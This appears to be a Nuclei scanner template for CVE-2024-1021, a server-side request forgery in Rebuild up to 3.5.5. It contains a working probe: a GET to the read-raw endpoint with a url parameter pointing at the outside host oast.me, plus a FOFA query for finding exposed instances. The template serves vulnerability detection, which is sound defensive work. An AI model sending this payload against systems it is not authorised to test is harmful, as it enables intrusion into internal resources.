id: CVE-2024-1021 info: name: Rebuild <= 3.5.5 - Server-Side Request Forgery author: BMCel severity: medium description: | There is a security vulnerability in Rebuild 3.5.5, which is due to a server-side request forgery vulnerability in the URL parameter of the readRawText function of the HTTP Request Handler component. impact: | Successful exploitation of this vulnerability can result in unauthorized access to sensitive internal resources. remediation: | Apply the latest security patches or updates provided by Rebuild to fix this vulnerability. reference: - https://github.com/getrebuild/rebuild - https://nvd.nist.gov/vuln/detail/CVE-2024-1021 metadata: max-request: 1 verified: true fofa-query: icon_hash="871154672" tags: cve2024,cve,rebuild,ssrf http: - method: GET path: - "{{BaseURL}}" - "{{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1" matchers: - type: dsl dsl: - 'contains(body_2, "

Interactsh Server

")' - '!contains(body_1, "

Interactsh Server

")' - 'status_code_2 == 200' condition: and # digest: 4a0a004730450220098225bea96b8668687e7dfe13e7567202130b05bf6e23cffcc70cb83386d700022100f078d24ac95ac54515557e84e1bc60404c9d6d59cfa0604f82e5d03baaf841e6:922c64590222798bb761d5b6d8e72950